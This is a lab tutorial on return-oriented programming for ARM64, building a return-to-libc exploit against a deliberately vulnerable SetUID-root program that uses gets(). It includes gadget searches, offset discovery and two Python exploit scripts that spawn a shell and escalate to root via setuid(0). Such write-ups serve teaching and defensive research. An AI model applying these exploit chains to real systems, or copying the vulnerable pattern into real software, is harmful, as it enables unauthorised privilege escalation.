ARM64 ROP Chaining

This article will be looking at performing a basic Return-to-libc attack on an ARM Cortex-A72 processor.

Return Orientated Programming (ROP) works differently on ARM64 systems compared to Intel processors. On Intel systems, the ret instruction will pop a value off the top of the stack and return to that. On ARM64, the Link Register (x30) needs to be populated with the return address before a ret instruction occurs.

Target Vulnerable Application

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

void get_password(){
   char password[30];
   gets(password);
}

int main()
{
   printf("Enter password\n");
   get_password();
   return 0;
}

Compile with

gcc vuln2.c -o vuln_prog2 -fno-stack-protector -no-pie

Then set the executable to be a SetUID root binary.

┌──(root㉿kali-raspberry-pi)-[/home/kali]
└─# chown root vuln_prog2 

┌──(root㉿kali-raspberry-pi)-[/home/kali]
└─# chmod u+s ./vuln_prog2 

Start by checking which binary protections are in place.

gef➤  checksec
[+] checksec for '/home/kali/vuln_prog'
Canary                        : ✘ 
NX                            : ✓ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial

Search for an address that points to a /bin/sh string.

gef➤  search-pattern /bin/sh
[+] Searching '/bin/sh' in memory
[+] In '/usr/lib/aarch64-linux-gnu/libc.so.6'(0x7ff7de0000-0x7ff7f7f000), permission=r-x
  0x7ff7f43198 - 0x7ff7f4319f  →   "/bin/sh" 

Get a pointer to the system function.

gef➤  p system
$1 = {int (const char *)} 0x7ff7e28a60 <__libc_system>

Find the glibc base address:

┌──(kali㉿kali-raspberry-pi)-[~]
└─$ gdb -q ./vuln_prog2
gef➤  break main
gef➤  run 
gef➤  vmmap 
[ Legend:  Code | Stack | Heap ]
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/kali/vuln_prog2
0x000000000041f000 0x0000000000420000 0x000000000000f000 r-- /home/kali/vuln_prog2
0x0000000000420000 0x0000000000421000 0x0000000000010000 rw- /home/kali/vuln_prog2
0x0000007ff7de0000 0x0000007ff7f7f000 0x0000000000000000 r-x /usr/lib/aarch64-linux-gnu/libc.so.6
0x0000007ff7f7f000 0x0000007ff7f8d000 0x000000000019f000 --- /usr/lib/aarch64-linux-gnu/libc.so.6
0x0000007ff7f8d000 0x0000007ff7f90000 0x00000000001ad000 r-- /usr/lib/aarch64-linux-gnu/libc.so.6
0x0000007ff7f90000 0x0000007ff7f92000 0x00000000001b0000 rw- /usr/lib/aarch64-linux-gnu/libc.so.6
0x0000007ff7f92000 0x0000007ff7f9e000 0x0000000000000000 rw- 
0x0000007ff7fbe000 0x0000007ff7fe5000 0x0000000000000000 r-x /usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1
0x0000007ff7ff7000 0x0000007ff7ff9000 0x0000000000000000 rw- 
0x0000007ff7ff9000 0x0000007ff7ffb000 0x0000000000000000 r-- [vvar]
0x0000007ff7ffb000 0x0000007ff7ffc000 0x0000000000000000 r-x [vdso]
0x0000007ff7ffc000 0x0000007ff7ffe000 0x000000000002e000 r-- /usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1
0x0000007ff7ffe000 0x0000007ff8000000 0x0000000000030000 rw- /usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1
0x0000007ffffdf000 0x0000008000000000 0x0000000000000000 rw- [stack]


Find the PC Offset

On ARM64, the Program Counter (PC) points to the next instruction to be executed, similar to the x84 instruction pointer (IP). Create a cyclic pattern using Metasploit.

 msf-pattern_create -l 2000 > fuzz.txt 

Send the MSFVenom cyclic string to the program whilst monitoring with GDB. The PC has been overwritten with 0x62413462413362.

┌──(kali㉿kali-raspberry-pi)-[~]
└─$ gdb -q ./vuln_prog2
run < fuzz.txt
....
$x29 : 0x4132624131624130 ("0Ab1Ab2A"?)
$x30 : 0x3562413462413362 ("b3Ab4Ab5"?)
$sp  : 0x0000007ffffff140  →  "Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad[...]"
$pc  : 0x62413462413362  

This informs us our PC offset is 40.

msf-pattern_offset -q 0x62413462413362 -l 2000
[*] Exact match at offset 40

Finding ROP Gadgets

We need the ability to load data from the stack into a register. We can use ropper to search for suitable gadgets.

(libc.so.6/ELF/ARM64)> search /3/ ldp x21
[INFO] Searching for gadgets: ldp x21

[INFO] File: /usr/lib/aarch64-linux-gnu/libc.so.6
0x0000000000107f48: ldp x21, x22, [sp, #0x130]; add sp, sp, #0x140; hint #0x1d; ret; 
0x0000000000104bf8: ldp x21, x22, [sp, #0x130]; add sp, sp, #0x150; hint #0x1d; ret; 
0x00000000000e396c: ldp x21, x22, [sp, #0x130]; add sp, sp, #0x160; hint #0x1d; ret; 
0x000000000004be98: ldp x21, x22, [sp, #0x140]; add sp, sp, #0x150; hint #0x1d; ret; 
0x0000000000078f18: ldp x21, x22, [sp, #0x140]; add sp, sp, #0x160; hint #0x1d; ret; 
0x000000000012fad4: ldp x21, x22, [sp, #0x140]; add sp, sp, #0x170; hint #0x1d; ret; 
0x00000000000e7ff8: ldp x21, x22, [sp, #0x1b0]; add sp, sp, #0x1c0; hint #0x1d; ret; 
0x0000000000141240: ldp x21, x22, [sp, #0x1d0]; add sp, sp, #0x1e0; hint #0x1d; ret; 
0x000000000010a118: ldp x21, x22, [sp, #0x20]; b #0x10a08c; movz x0, #0; ret; 
0x00000000000250e0: ldp x21, x22, [sp, #0x20]; ldp x29, x30, [sp], #0x30; hint #0x1d; ret; 

We’re going to pick the following instruction.

ldp x21, x22, [sp, #0x20]; ldp x29, x30, [sp], #0x30; hint #0x1d; ret; 

Let’s breakdown what this instruction does. ldp stands for “Load Pair”, and it is used to load two 64-bit (8-byte) values from memory into two registers. Based on the below instruction, x21 is populated with the value of sp + 0x20. x22 is populated with the value of sp + 0x28.

ldp x21, x22, [sp, #0x20]

The next instruction does something similar, but with post index addressing. The result of this is x29 will be the current stack pointer, x30 will be the stack pointer + 8. After the load operation the stack pointer will be updated by 0x30.

ldp x29, x30, [sp], #0x30

Next, we have a hint instruction. This particular one relates to Pointer Authentication Codes which we don’t have enabled on this system. As such, this is treated as a No Operation. We can ignore this.

hint #0x1d

And finally, we get a lone ret instruction will route execution to the address held in the x30 register.

ret

Since we know we need to control the x0 register, let’s look for ROP instructions that move a value to that register.

┌──(kali㉿kali-raspberry-pi)-[~]
└─$ ropper
(ropper)> file /usr/lib/aarch64-linux-gnu/libc.so.6
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(libc.so.6/ELF/ARM64)> search /1/ mov x0
[INFO] Searching for gadgets: mov
[INFO] File: /usr/lib/aarch64-linux-gnu/libc.so.6
0x000000000012ce74: mov x0, x22; blr x1; 
0x000000000007439c: mov x0, x22; blr x2; 
0x0000000000111cf0: mov x0, x22; blr x21; 
0x00000000000e9fb8: mov x0, x22; blr x23; 
0x00000000001159c0: mov x0, x22; blr x5; 
0x0000000000080ac8: mov x0, x23; blr x1; 

The below instruction seems promising;

mov x0, x22; blr x21; 

The Exploit

import struct  

libc = 0x0000007ff7de0000                              # address of libc library  
binsh =  struct.pack("Q",0x0000007ff7f43198)           # address of the /bin/sh string            
system =   struct.pack("Q",0x0000007ff7e28a60)           # address of system function

setreuid = struct.pack("Q",0x0000007ff7ecc6e0)

print(hex(libc+0x00000000000250e0))

binsh_gadget_one = struct.pack("Q",libc+0x00000000000250e0)  # ldp x21, x22, [sp, #0x20]; ldp x29, x30, [sp], #0x30; hint #0x1d; ret; 
binsh_gadget_two = struct.pack("Q",libc+0x0000000000111cf0)  # mov x0, x22; blr x21; 

junk1 = b"A" * 40
junk2 = b"B" * 8
junk3 = b"C" * 16

buf = junk1 + binsh_gadget_one + junk2 + binsh_gadget_two + junk3 + system + binsh

with open('exploit.txt', 'wb') as f:
        f.write(buf)

Running the exploit we get a shell, but not a root one.

┌──(kali㉿kali-raspberry-pi)-[~]
└─$  (cat exploit.txt; cat) | ./vuln_prog2
Enter password

id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),30(dip),44(video),46(plugdev),50(staff),60(games),100(users),101(netdev),105(i2c),106(kismet),130(scanner),993(render),996(input),999(systemd-journal)


Fixing our Privileges

To resolve this issue, we introduce two more gadgets into our chain to call setuid with the parameter of zero. The key to executing multiple functions is we need to find a gadget with a branch instruction, that later sets the x30 register, such as this one.

blr x19; movz x0, #0; ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x20; hint #0x1d; ret;

Here is the updated exploit code.

import struct  

libc   = 0x0000007ff7de0000                             # address of libc library  
binsh  =  struct.pack("Q",0x0000007ff7f43198)           # address of the /bin/sh string            
system =  struct.pack("Q",0x0000007ff7e28a60)           # address of system function
setuid =  struct.pack("Q",0x0000007ff7eb8aa0)

print(hex(libc+0x000000000013a400))
print("Binsh breakpoint")
print(hex(libc+0x00000000000250e0))

# Load x19 (setuid), put 0 in x0 (setuid parameter)
setuid_gadget_one = struct.pack("Q",libc+0x000000000013a400)   # ldp x19, x20, [sp, #0x10]; movz x0, #0; ldp x29, x30, [sp], #0x30; hint #0x1d; ret;
# Run code in x19 (setuid function). Load x30 and return.
setuid_gadget_two = struct.pack("Q",libc+0x0000000000091428)   # blr x19; movz x0, #0; ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x20; hint #0x1d; ret;

binsh_gadget_one = struct.pack("Q",libc+0x00000000000250e0)  # ldp x21, x22, [sp, #0x20]; ldp x29, x30, [sp], #0x30; hint #0x1d; ret; 
binsh_gadget_two = struct.pack("Q",libc+0x0000000000111cf0)  # mov x0, x22; blr x21; 

junk1 = b"A" * 40
junk2 = b"B" * 8
junk3 = b"C" * 32
junk4 = b"D" * 16

buf = junk1 + setuid_gadget_one  + junk2 + setuid_gadget_two + setuid + junk3 + binsh_gadget_one + junk2 + junk4 + binsh_gadget_two + junk4 + system + binsh

with open('exploit.txt', 'wb') as f:
        f.write(buf)

After calling setuid, we can see we correctly assume the root user UID.

┌──(kali㉿arm64)-[~/SETUID]
└─$ (cat exploit.txt; cat) | ./vuln_prog2
Enter password
id
id
uid=0(root) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),30(dip),44(video),46(plugdev),50(staff),60(games),100(users),101(netdev),105(i2c),106(kismet),130(scanner),993(render),996(input),999(systemd-journal)


In Conclusion

ROP on ARM64 systems is more difficult than x64 systems, although still achievable. ARMv8.2 systems do implement a technology known as Pointer Authentication Codes (PAC), where pointers are cryptographically signed.